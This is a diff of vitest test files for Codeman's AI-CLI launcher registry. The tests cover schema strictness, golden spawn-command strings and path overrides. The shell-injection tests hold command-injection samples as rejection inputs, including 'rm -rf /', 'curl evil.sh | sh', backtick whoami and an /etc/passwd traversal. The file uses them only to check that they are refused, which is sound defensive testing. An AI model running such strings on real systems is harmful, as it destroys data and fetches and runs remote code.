const detail = offenders.map((f) => ` ${f.file}:${f.line} ${f.expression}`).join('\n');
expect(
offenders,
offenders.length === 0
? ''
: `Found ${offenders.length} CLI-id branch(es) outside the stock catalog:\n${detail}\n\n` +
'Two ways out, in order of preference:\n' +
' 1. Express the difference as data on the CliEntry (a CliCapabilities field), or as a\n' +
' NAMED PROFILE in config/cli-registry/profiles.ts if it genuinely needs to run code.\n' +
' 2. If it is not a CLI-behaviour branch at all, add it to ALLOWED_BRANCHES in this file\n' +
" WITH the reason. Read this file's header before choosing option 2."
).toEqual([]);
});
it('has no stale allowlist entries', () => {
// An allowlisted branch that no longer exists is a lie about the codebase, and the next
// person to reintroduce that exact branch would sail straight through.
const present = new Set(findings.map((f) => f.key));
const stale = Object.keys(ALLOWED_BRANCHES).filter((key) => !present.has(key));
expect(stale, `ALLOWED_BRANCHES entries no longer present — delete them:\n ${stale.join('\n ')}`).toEqual([]);
});
});
describe('declared-for-later fields', () => {
/**
* The fields `CliEntry`'s header declares as not-yet-read. Each is frontend behaviour, and
* the frontend is untouched by this change.
*
* This is here so the list cannot quietly GROW. An unread field is a promise the code does
* not keep, and the failure mode is a reader trusting one: the next person sees
* `echo.policy: 'buffer'` on an entry and assumes the terminal honours it. Adding a field
* nobody reads should be a decision someone makes on purpose, which means updating this
* list — and wiring one up should make its line here fail, which is the good direction.
*/
const DECLARED_FOR_LATER = [
'shortBadge',
'accent',
'capabilities.echo',
'capabilities.wheelForward',
'capabilities.keyboardAccessory',
'capabilities.maxFrameBytes',
// The Docker credential-seeding path still reads its own CRED_STORES table: this shape
// allows ONE store per CLI and the live table needs two for gemini. See CliOverlays.
'overlays.credStore',
];
/** Read every `.ts` under src/, minus the registry itself (which of course names them). */
function sourceOutsideRegistry(): string {
const parts: string[] = [];
const stack = [SRC];
while (stack.length > 0) {
const dir = stack.pop()!;
for (const name of readdirSync(dir)) {
const full = join(dir, name);
if (statSync(full).isDirectory()) {
if (name !== 'cli-registry') stack.push(full);
continue;
}
if (name.endsWith('.ts')) parts.push(uncommented(readFileSync(full, 'utf-8')));
}
}
return parts.join('\n');
}
/**
* Receivers whose same-named property is NOT this field. A leaf-name match is all a static
* check can do, and `cli.ts` calls `palette.accent('admin')` — the terminal colour helper,
* unrelated to `CliEntry.accent`. Listing the receiver is better than dropping the field
* from the check: a real read through any OTHER receiver still fails.
*/
const UNRELATED_RECEIVERS: Record<string, string[]> = { accent: ['palette'] };
const outside = sourceOutsideRegistry();
it.each(DECLARED_FOR_LATER)('%s is still unread outside the registry', (field) => {
const leaf = field.split('.').pop()!;
const ignore = UNRELATED_RECEIVERS[leaf] ?? [];
// `.<leaf>` as a property access. Comment lines are already blanked, so a mention in
// prose does not count as a read; a receiver listed above does not either.
const pattern = new RegExp(`(\\w*)\\.${leaf}\\b`, 'g');
const uses = [...outside.matchAll(pattern)].filter((m) => !ignore.includes(m[1])).map((m) => m[0]);
expect(
uses,
`${field} now looks READ outside config/cli-registry. If that is deliberate, drop it ` +
"from DECLARED_FOR_LATER here and from CliEntry's header comment — the point of both " +
'is that a reader can tell which fields are load-bearing.'
).toEqual([]);
});
it('still catches a read when there is one (anti-vacuity)', () => {
// The check is only worth having if it fires, so prove it against a field that IS read.
// `capabilities.ralph` is live in session-routes; if this ever stops matching, the
// scanner has drifted and every assertion above is passing vacuously.
expect(outside).toMatch(/\.ralph\b/);
expect(DECLARED_FOR_LATER.length).toBeGreaterThan(0);
});
});
+256
View File
@@ -0,0 +1,256 @@
/**
* @fileoverview Validation rules for a `CliEntry`.
*
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
*
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
* misspelled field name degrades to "field absent → the permissive default applies",
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
* - **No shell text can reach the command line.** Every literal is checked against a
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
* than being dropped — a silently dropped flag would change security-relevant behaviour
* (losing `--no-approve` is not a cosmetic difference).
*
* Port: none (pure schema).
*/
import { describe, it, expect } from 'vitest';
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
function baseEntry(id = 'pi'): Record<string, unknown> {
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
if (!found) throw new Error(`no stock entry ${id}`);
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
}
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
const entry = baseEntry();
mutate(entry);
const result = CliEntrySchema.safeParse(entry);
expect(result.success, `expected rejection: ${because}`).toBe(false);
}
describe('the shipped catalog', () => {
it('validates every stock entry exactly as shipped', () => {
// If this fails, the catalog cannot load at all — every other test here is downstream.
for (const entry of STOCK_CLIS) {
const result = CliEntrySchema.safeParse(entry);
expect(
result.success,
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
).toBe(true);
}
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
});
it('ships every entry with a unique id and order', () => {
const ids = STOCK_CLIS.map((e) => e.id as string);
expect(new Set(ids).size).toBe(ids.length);
const orders = STOCK_CLIS.map((e) => e.order);
expect(new Set(orders).size).toBe(orders.length);
});
});
describe('strictness', () => {
it('rejects an unknown key at the top level', () => {
expectRejected((e) => {
e.unknownField = true;
}, 'a typo must not degrade to a permissive default');
});
it('rejects an unknown key deep inside capabilities', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).newSwitch = true;
}, 'strictness has to hold at every depth, not just the top');
});
it('rejects an unknown key inside discovery', () => {
expectRejected((e) => {
(e.discovery as Record<string, unknown>).probeEverything = true;
}, 'strictness has to hold at every depth');
});
});
describe('no shell text can reach the command line', () => {
it('rejects a literal carrying shell metacharacters', () => {
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
expectRejected(
(e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args[0] = { lit: evil };
},
`literal ${JSON.stringify(evil)} must be refused`
);
}
});
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
}, 'a fixed value is a literal too');
});
it('rejects a flag that does not look like a flag', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: 'rm -rf /' });
}, 'a flag must match -x / --long-flag');
});
it('rejects an overlay command that is more than bare words', () => {
expectRejected((e) => {
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
});
});
describe('cross-field integrity', () => {
it('rejects a valueFrom naming an undeclared param', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
}, 'a dangling valueFrom silently emits nothing');
});
it('rejects a capabilityGate naming an undeclared gate', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
}, 'an unknown gate never passes, so the flag would be silently unreachable');
});
it('rejects a fallback chain whose last variant is conditional', () => {
expectRejected((e) => {
const launch = e.launch as Record<string, unknown>;
launch.chain = 'fallback';
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
}, 'the terminal case of a fallback chain must be guaranteed to render');
});
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
expectRejected((e) => {
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
}, 'an alias for a param that does not exist can never apply');
});
it('rejects a configSetenv reading an undeclared param', () => {
// Losing this mapping for DeepSeek would silently drop a permission clamp.
expectRejected((e) => {
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
}, 'exporting from a param that does not exist would export nothing, silently');
});
it('rejects a privilegedParams clamp naming an undeclared param', () => {
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
}, 'clamping a param that does not exist would silently stop clamping');
});
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
// codex is the entry where the two names differ, so it is the one that catches a
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
// shipped entry must be on the param side of that line.
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
expect(codex).toBeDefined();
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
const wrong = baseEntry('codex');
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
{ param: 'dangerouslyBypassApprovals', clampTo: false },
];
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
});
it('rejects a profile name this build does not implement', () => {
expectRejected((e) => {
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
expectRejected((e) => {
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
});
});
describe('the env allowlist cannot be widened by config', () => {
it('requires a prefix to end with an underscore', () => {
expectRejected((e) => {
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
}, 'a prefix without a trailing _ matches more namespaces than it names');
});
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
expectRejected((e) => {
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
}, 'a 2-char prefix is too broad for a global allowlist');
});
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
});
});
describe('identity', () => {
it('rejects an id that is not a lowercase kebab token', () => {
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
const entry = baseEntry();
entry.id = bad;
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
}
});
it('rejects an accent that is not a 6-digit hex colour', () => {
expectRejected((e) => {
e.accent = 'red';
}, 'the accent is interpolated into CSS');
});
it('accepts a well-formed custom entry built from a stock one', () => {
const entry = baseEntry();
entry.id = 'my-cli';
entry.label = 'My CLI';
entry.stock = false;
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
});
describe('capability shapes', () => {
it('accepts only the three hook states', () => {
for (const value of ['none', 'always', 'supervised']) {
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).hooks = value;
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
}
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
// 'always', which is wrong for a supervised CLI.
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).hooks = true;
}, 'hooks is a tri-state, not a boolean');
});
it('accepts only known transcript readers', () => {
const entry = baseEntry() as unknown as CliEntry;
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
const candidate = baseEntry();
(candidate.capabilities as Record<string, unknown>).transcript = value;
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
}
expect(entry.capabilities.transcript).toBeDefined();
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
}, 'a transcript reader that does not exist would silently read nothing');
});
});
+295
View File
@@ -0,0 +1,295 @@
/**
* @fileoverview GOLDEN spawn-command pins for the CLI registry's argv engine.
*
* Every expectation here is a LITERAL STRING, deliberately. An earlier version of this work
* compared the engine against `buildSpawnCommand()` instead — which read as a strong parity
* proof right up until `buildSpawnCommand` was itself switched over to call the engine, at
* which point it was comparing the engine with itself and would have happily accepted any
* regression the two shared. Literals cannot rot that way: they were captured from the
* hand-written builders BEFORE those builders were removed, and they are now the only
* surviving record of what those builders emitted.
*
* ⚠️ If a change here makes one of these fail, the question is never "what is the new string?"
* It is "which real CLI invocation just changed, and is that intended?" A byte that moves in
* this file is a byte that moves in a command line Codeman executes.
*
* Coverage note: every mode with a launch spec is pinned, `grok` and `deepseek` included.
* Grok had no parity coverage at all in the first draft of the registry, and deepseek did not
* exist in it — the two modes most likely to be transcribed wrong were the two nothing
* checked.
*
* Port: none (pure function over registry data).
*/
import { describe, it, expect } from 'vitest';
import { getCli } from '../src/config/cli-registry/registry.js';
import { buildSpawnCommandFromRegistry, type SpawnBridgeOptions } from '../src/session-cli-registry-bridge.js';
/** A fixed session id, so `--session-id` is stable across runs. */
const SID = '0f9c2b14-1111-2222-3333-444455556666';
function render(options: SpawnBridgeOptions): string | undefined {
const entry = getCli(options.mode);
if (!entry) throw new Error(`no registry entry for mode ${options.mode}`);
return buildSpawnCommandFromRegistry(entry, options);
}
/** Every claude case pins an explicit `claudeCliVersion` so the --name gate is deterministic. */
function claude(extra: Partial<SpawnBridgeOptions> = {}): string | undefined {
return render({ mode: 'claude', sessionId: SID, claudeCliVersion: null, ...extra });
}
describe('claude', () => {
it('defaults to skip-permissions plus a new session id', () => {
expect(claude()).toBe('claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"');
});
it('maps each permission mode', () => {
expect(claude({ claudeMode: 'auto' })).toBe(
'claude --permission-mode auto --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
expect(claude({ claudeMode: 'normal' })).toBe('claude --session-id "0f9c2b14-1111-2222-3333-444455556666"');
expect(claude({ claudeMode: 'allowedTools', allowedTools: 'Bash(git:*), Read' })).toBe(
'claude --allowedTools "Bash(git:*), Read" --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
it('resumes through a shell fallback to a fresh session', () => {
// The ` || ` is emitted by the ENGINE, not by config — no registry field can hold shell
// text. This pin is what proves the fallback chain still renders as one command line.
expect(claude({ resumeSessionId: 'abc-123-def' })).toBe(
'claude --dangerously-skip-permissions --resume "abc-123-def" || ' +
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
it('carries effort as a flag, and ultracode as a settings blob', () => {
expect(claude({ effort: 'max' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --effort \'max\''
);
expect(claude({ effort: 'ultracode' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
'--settings \'{"ultracode":true}\''
);
});
it('gates --name on the CLI version, failing closed when it is unknown', () => {
const named = { sessionName: 'w1 alpha' };
expect(claude({ ...named, claudeCliVersion: '2.1.226' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --name "w1 alpha"'
);
expect(claude({ ...named, claudeCliVersion: '2.1.223' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
// Unknown version satisfies NO gate. A version probe that fails must not silently
// upgrade behaviour.
expect(claude({ ...named, claudeCliVersion: null })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
});
describe('opencode', () => {
const oc = (openCodeConfig?: SpawnBridgeOptions['openCodeConfig']) =>
render({ mode: 'opencode', sessionId: SID, openCodeConfig });
it('spawns bare by default', () => {
expect(oc()).toBe('opencode');
});
it('reads its resume id through the legacy `continueSession` alias', () => {
expect(oc({ model: 'anthropic/claude', continueSession: 'ses_9' })).toBe(
'opencode --model anthropic/claude --session ses_9'
);
});
it('only forks an existing session', () => {
expect(oc({ continueSession: 'ses_9', forkSession: true })).toBe('opencode --session ses_9 --fork');
// --fork with nothing to fork from would be meaningless, so it drops out entirely.
expect(oc({ forkSession: true })).toBe('opencode');
});
});
describe('codex', () => {
const cx = (codexConfig?: SpawnBridgeOptions['codexConfig']) =>
render({ mode: 'codex', sessionId: SID, codexConfig });
it('spawns bare by default', () => {
expect(cx()).toBe('codex');
});
it('emits the bypass flag only when asked', () => {
expect(cx({ dangerouslyBypassApprovals: true })).toBe('codex --dangerously-bypass-approvals-and-sandbox');
expect(cx({ dangerouslyBypassApprovals: false })).toBe('codex');
});
it('sends animations as an explicit true/false config pair', () => {
expect(cx({ animations: true })).toBe('codex --config tui.animations=true');
expect(cx({ animations: false })).toBe('codex --config tui.animations=false');
});
it('resumes with a POSITIONAL subcommand, not a flag', () => {
expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42');
});
});
describe('gemini', () => {
const gm = (geminiConfig?: SpawnBridgeOptions['geminiConfig']) =>
render({ mode: 'gemini', sessionId: SID, geminiConfig });
it('defaults an absent approval mode to yolo', () => {
// ⚠️ This is the DEFAULT-IS-UNSAFE case the multi-user clamp has to MATERIALIZE a config
// for: sending no geminiConfig at all still yields yolo, so an only-if-sent clamp would
// miss it entirely. See test/routes/external-cli-bypass-clamp.test.ts.
expect(gm()).toBe('gemini --skip-trust --approval-mode yolo');
});
it('honours an explicit approval mode', () => {
expect(gm({ approvalMode: 'auto_edit' })).toBe('gemini --skip-trust --approval-mode auto_edit');
});
it('reads its resume id through the legacy `resumeSession` alias', () => {
expect(gm({ model: 'gemini-3-pro', resumeSession: 'conv.7' })).toBe(
'gemini --skip-trust --approval-mode yolo --model gemini-3-pro --resume conv.7'
);
});
});
describe('antigravity', () => {
const ag = (antigravityConfig?: SpawnBridgeOptions['antigravityConfig']) =>
render({ mode: 'antigravity', sessionId: SID, antigravityConfig });
it('runs `agy`, not `antigravity`', () => {
// The mode name is not the binary name. Assuming it was is a bug this registry fixes.
expect(ag()).toBe('agy');
});
it('emits its flags', () => {
expect(ag({ dangerouslySkipPermissions: true, model: 'gemini-3-pro' })).toBe(
'agy --dangerously-skip-permissions --model gemini-3-pro'
);
expect(ag({ resumeConversationId: 'conv-99' })).toBe('agy --conversation conv-99');
});
});
describe('pi', () => {
const pi = (piConfig?: SpawnBridgeOptions['piConfig']) => render({ mode: 'pi', sessionId: SID, piConfig });
it('spawns bare by default', () => {
expect(pi()).toBe('pi');
});
it('renders the full option set', () => {
expect(pi({ model: 'sonnet:high', provider: 'anthropic', thinking: 'xhigh' })).toBe(
'pi --model sonnet:high --provider anthropic --thinking xhigh'
);
});
it('treats project trust as a TRI-state', () => {
// Absent is a third state, not a synonym for false: it leaves pi to ask interactively.
expect(pi({ approveProjectTrust: true })).toBe('pi --approve');
expect(pi({ approveProjectTrust: false })).toBe('pi --no-approve');
expect(pi()).toBe('pi');
});
it('prefers an explicit session id over -c', () => {
expect(pi({ resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
expect(pi({ continueSession: true })).toBe('pi -c');
expect(pi({ continueSession: true, resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
});
});
describe('grok', () => {
const gk = (grokConfig?: SpawnBridgeOptions['grokConfig']) => render({ mode: 'grok', sessionId: SID, grokConfig });
it('spawns bare by default', () => {
expect(gk()).toBe('grok');
});
it('emits its bypass flag only when asked', () => {
expect(gk({ alwaysApprove: true, model: 'grok-4.5' })).toBe('grok --always-approve --model grok-4.5');
expect(gk({ alwaysApprove: false })).toBe('grok');
});
it('prefers an explicit resume id over --continue', () => {
expect(gk({ resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
expect(gk({ continueSession: true })).toBe('grok --continue');
expect(gk({ continueSession: true, resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
});
it('never puts a credential on the command line', () => {
// grok authenticates from XAI_API_KEY, pushed via `tmux setenv`. There is no --api-key
// arg in its launch spec and there must never be one: the command line is visible to
// every process on the box.
const cmd = gk({ alwaysApprove: true, model: 'grok-4.5' }) ?? '';
expect(cmd).not.toContain('key');
expect(cmd).not.toContain('token');
});
});
describe('deepseek', () => {
const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) =>
render({ mode: 'deepseek', sessionId: SID, deepSeekConfig });
it('launches a named profile', () => {
expect(ds({ profile: 'dsh-tui' })).toBe('dsh --profile dsh-tui');
});
it('prefers an explicit resume id over the bare --resume', () => {
expect(ds({ profile: 'p', resumeSessionId: 'sess_42' })).toBe('dsh --profile p --resume sess_42');
expect(ds({ profile: 'p', resumeSession: true })).toBe('dsh --profile p --resume');
});
it('never puts the permission mode on the command line', () => {
// dsh has no permission FLAG — the switch is the DSH_PERMISSION_MODE env var, exported
// via `tmux setenv`. If this ever renders as an argument, the multi-user clamp and the
// env-key drop are both looking at the wrong surface.
const cmd = ds({ profile: 'p', permissionMode: 'danger-full-access' }) ?? '';
expect(cmd).toBe('dsh --profile p');
expect(cmd).not.toContain('danger-full-access');
expect(cmd).not.toContain('permission');
});
});
describe('shell', () => {
it('renders no command at all', () => {
// `undefined` is the signal to fall back to local login-shell resolution, which varies
// per user's /etc/passwd entry and so cannot be templated. An empty string would be a
// command, and a wrong one.
expect(render({ mode: 'shell', sessionId: SID })).toBeUndefined();
});
});
describe('unsafe values are DROPPED, never escaped into the command', () => {
// The hand-written builders silently omitted an argument whose value failed its allowlist,
// rather than quoting it through. That is the behaviour being preserved: a rejected value
// must not reach the CLI in ANY form, because "quoted but present" still lets a caller
// steer the agent (a bogus --model, a traversal path as a session id).
it.each([
['claude model', { mode: 'claude' as const, model: 'opus`whoami`' }, 'opus'],
['claude resume id', { mode: 'claude' as const, resumeSessionId: '../../etc/passwd' }, 'passwd'],
[
'claude allowedTools',
{ mode: 'claude' as const, claudeMode: 'allowedTools' as const, allowedTools: 'Bash(x); rm -rf /' },
'rm',
],
])('%s', (_label, extra, forbidden) => {
const cmd = claude(extra) ?? '';
expect(cmd).not.toContain(forbidden);
expect(cmd).not.toContain('`');
expect(cmd).not.toContain(';');
});
it('drops an unsafe pi model without falling back to a different one', () => {
expect(render({ mode: 'pi', sessionId: SID, piConfig: { model: 'a`b' } })).toBe('pi');
});
it('refuses a deepseek profile that is not a single path segment', () => {
// A profile name is joined into a filesystem path as well as a shell line, so `../evil`
// has to fail the token pattern rather than be quoted. With no valid name and no default
// profile installed, the flag drops out entirely and dsh picks its own.
const cmd = render({ mode: 'deepseek', sessionId: SID, deepSeekConfig: { profile: '../evil' } }) ?? '';
expect(cmd).not.toContain('evil');
expect(cmd).not.toContain('..');
});
});
+43 -4
View File
@@ -18,7 +18,9 @@ import { mkdirSync, rmSync, writeFileSync, existsSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import { dataPath } from '../src/config/instance.js';
import { safeRmHomeTree } from './mocks/index.js';
import { program, resolveCliCasePath, resolveSkillTargetPath } from '../src/cli.js';
import { getCasesDir } from '../src/config/cases-dir.js';
const LINKED_CASES_FILE = dataPath('linked-cases.json');
const CASES_DIR = join(homedir(), 'codeman-cases');
@@ -36,14 +38,18 @@ function writeLinkedCases(content: string): void {
beforeEach(() => {
rmSync(LINKED_CASES_FILE, { force: true });
rmSync(CASES_DIR, { recursive: true, force: true });
rmSync(LINKED_ROOT, { recursive: true, force: true });
safeRmHomeTree(CASES_DIR);
safeRmHomeTree(LINKED_ROOT);
});
afterEach(() => {
// LINKED_CASES_FILE is dataPath('linked-cases.json'), which test/setup.ts
// sandboxes (temp HOME, and an inherited CODEMAN_DATA_DIR is stripped), so a
// plain delete is safe here. The case trees still go through the containment
// gate as defense in depth.
rmSync(LINKED_CASES_FILE, { force: true });
rmSync(CASES_DIR, { recursive: true, force: true });
rmSync(LINKED_ROOT, { recursive: true, force: true });
safeRmHomeTree(CASES_DIR);
safeRmHomeTree(LINKED_ROOT);
});
describe('resolveSkillTargetPath (global)', () => {
@@ -142,3 +148,36 @@ describe('skill command wiring', () => {
}
});
});
describe('cases dir override (CODEMAN_CASES_PATH)', () => {
// The Docker Compose deployment points Codeman at a host-absolute bind mount
// so a Docker case resolves to the same path inside the container and on the
// host daemon. The override shipped on the server's CASES_DIR only, which left
// the CLI looking in the home default: `codeman skill install --case <name>`
// then reported "Case not found" on exactly the deployment it exists for.
const saved = process.env.CODEMAN_CASES_PATH;
afterEach(() => {
if (saved === undefined) delete process.env.CODEMAN_CASES_PATH;
else process.env.CODEMAN_CASES_PATH = saved;
});
it('moves the CLI and the server together', () => {
process.env.CODEMAN_CASES_PATH = '/srv/codeman-cases';
expect(getCasesDir()).toBe('/srv/codeman-cases');
expect(resolveCliCasePath('demo')).toBe(join('/srv/codeman-cases', 'demo'));
});
it('falls back to the home default when unset', () => {
delete process.env.CODEMAN_CASES_PATH;
expect(getCasesDir()).toBe(CASES_DIR);
expect(resolveCliCasePath('demo')).toBe(join(CASES_DIR, 'demo'));
});
it('still lets a linked case win over the override', () => {
// The registry lookup runs first, so a case linked in from outside the cases
// dir keeps resolving to its real location under Compose too.
process.env.CODEMAN_CASES_PATH = '/srv/codeman-cases';
writeLinkedCases(JSON.stringify({ linked: join(LINKED_ROOT, 'linked') }));
expect(resolveCliCasePath('linked')).toBe(join(LINKED_ROOT, 'linked'));
});
});
+1 -1
View File
@@ -401,7 +401,7 @@ describe('Session Manager unified list', () => {
const [historyRecord, , historyOptions] = app._buildHistoryItem.mock.calls[1];
expect(historyRecord).toMatchObject({ sessionId: 'conv-uuid-1', sizeBytes: 2048, firstPrompt: 'old prompt' });
historyOptions.onActivate();
expect(app.resumeHistorySession).toHaveBeenCalledWith('conv-uuid-1', '/repo/old');
expect(app.resumeHistorySession).toHaveBeenCalledWith('conv-uuid-1', '/repo/old', undefined, undefined);
});
it('surfaces an error message instead of an empty list when the endpoint fails', async () => {
+6 -1
View File
@@ -275,8 +275,13 @@ describe('DeepSeek status bridge', () => {
// Those sessions must keep the pane segmenter. Static, because standing up
// a docker/remote session in the unit harness is exactly what the tmux
// test-mode mocks exist to avoid.
//
// The mode check itself is now a capability read (`transcript === 'deepseek-zstd'`) —
// which reader understands this CLI's on-disk history is exactly the kind of fact the
// CLI registry owns. What this test guards is unchanged and is the part that matters:
// the two LOCATION exclusions beside it.
const routes = readFileSync(join(process.cwd(), 'src/web/routes/session-routes.ts'), 'utf-8');
expect(routes).toMatch(/session\.mode === 'deepseek' && !session\.docker && !session\.remote/);
expect(routes).toMatch(/capabilities\.transcript === 'deepseek-zstd' && !session\.docker && !session\.remote/);
});
it('maps the harness lifecycle states onto real hook events', () => {
+48 -16
View File
@@ -1,5 +1,5 @@
import { describe, it, expect } from 'vitest';
import { DEPENDENCY_REGISTRY } from '../src/config/dependency-registry.js';
import { dependencyRegistry } from '../src/config/dependency-registry.js';
import {
detectEnvironment,
extractVersion,
@@ -11,41 +11,73 @@ import {
import type { ProbeHost } from '../src/utils/dependency-checker.js';
import type { ProbeEnvironment, ToolDependency } from '../src/config/dependency-registry.js';
import { PI_VERSION_REGEX } from '../src/utils/pi-cli-resolver.js';
import { GROK_VERSION_REGEX } from '../src/utils/grok-cli-resolver.js';
import { DEEPSEEK_VERSION_REGEX } from '../src/utils/deepseek-cli-resolver.js';
import { enabledClis } from '../src/config/cli-registry/registry.js';
describe('DEPENDENCY_REGISTRY', () => {
describe('dependencyRegistry()', () => {
it('has unique ids', () => {
const ids = DEPENDENCY_REGISTRY.map((t) => t.id);
const ids = dependencyRegistry().map((t) => t.id);
expect(new Set(ids).size).toBe(ids.length);
});
it('hard-requires only node and tmux; agent CLIs and office are optional', () => {
const required = DEPENDENCY_REGISTRY.filter((t) => t.required)
const required = dependencyRegistry()
.filter((t) => t.required)
.map((t) => t.id)
.sort();
expect(required).toEqual(['node', 'tmux']);
// all agent CLIs are optional (Codeman runs any of them)
const agentClis = ['claude', 'opencode', 'codex'];
expect(DEPENDENCY_REGISTRY.filter((t) => agentClis.includes(t.id)).every((t) => t.required === false)).toBe(true);
const office = DEPENDENCY_REGISTRY.filter((t) => t.category === 'office');
expect(
dependencyRegistry()
.filter((t) => agentClis.includes(t.id))
.every((t) => t.required === false)
).toBe(true);
const office = dependencyRegistry().filter((t) => t.category === 'office');
expect(office.every((t) => t.required === false)).toBe(true);
});
it('resolves pi through the SAME version rule the run mode uses', () => {
// `pi` is a short generic name, so pi-cli-resolver.ts refuses a binary that does not
// print semver. If the doctor did not apply the identical rule it would report
// "Pi CLI ✓" on a box where Run Pi stays hidden, which reads as a broken mode
// rather than a missing install. One regex, shared, is what keeps them agreeing.
const pi = DEPENDENCY_REGISTRY.find((t) => t.id === 'pi');
expect(pi).toBeDefined();
const spec = pi!.resolvers.find((r) => r.resolver.kind === 'path');
it.each([
['pi', PI_VERSION_REGEX],
['grok', GROK_VERSION_REGEX],
['dsh', DEEPSEEK_VERSION_REGEX],
])('resolves %s through the SAME version rule the run mode uses', (id, expected) => {
// These three have short, generic or squatted binary names, so their resolvers refuse a
// binary that does not print the right shape of version. If the doctor did not apply the
// identical rule it would report "Pi CLI ✓" on a box where Run Pi stays hidden, which
// reads as a broken mode rather than a missing install.
//
// Both sides now read one registry entry, so they cannot drift — but the assertion
// compares SOURCE rather than object identity, because the doctor compiles the entry's
